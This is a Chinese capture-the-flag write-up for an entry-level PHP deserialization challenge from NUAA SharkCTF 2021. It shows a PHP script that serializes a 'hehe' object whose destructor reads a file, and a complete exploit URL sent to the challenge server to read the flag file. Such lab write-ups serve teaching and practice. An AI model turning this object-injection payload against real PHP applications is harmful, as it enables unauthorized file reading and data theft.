baby_phpserialize - NUAA SharkCTF 2021¶
入门级题目,介绍 PHP 序列化题型的大致情况。
题目描述¶

心路历程¶
一进网页,是个白屏。

行吧,那按照题干的提示,肯定在某个地方藏了文件。如何找到备份文件的位置呢?先尝试简单的方法:看 robots.txt。

显而易见,index.php~ 是主页的源代码,flag 就是 flag 所在的文件。
看看 index.php~ 里面有什么:

看到 unserialize 便知,是一道经典的反序列化的题目。我们需要构建一个 hehe() 的对象实例,将其 .a 属性设置为 flag,将该实例序列化成字符串后,作为 GET 请求的 exp 参数发送给服务器即可。
构建辅助工具之序列化助手 serialize.php:
<?php
class hehe{
public $a;
function __destruct(){
$data = file_get_contents($this->a);
echo $data;
}
}
$obj = new hehe;
$obj->a = "flag";
echo serialize($obj);
echo "\n";
?>
得到目标对象序列化后的结果:

向本地测试服务器发起目标 GET 请求:

测试通过。向题目服务器发起同样的请求,得到 flag:

题解¶
访问
http://49.235.111.14:5012/index.php?exp=O:4:"hehe":1:{s:1:"a";s:4:"flag";}
即可得到 flag。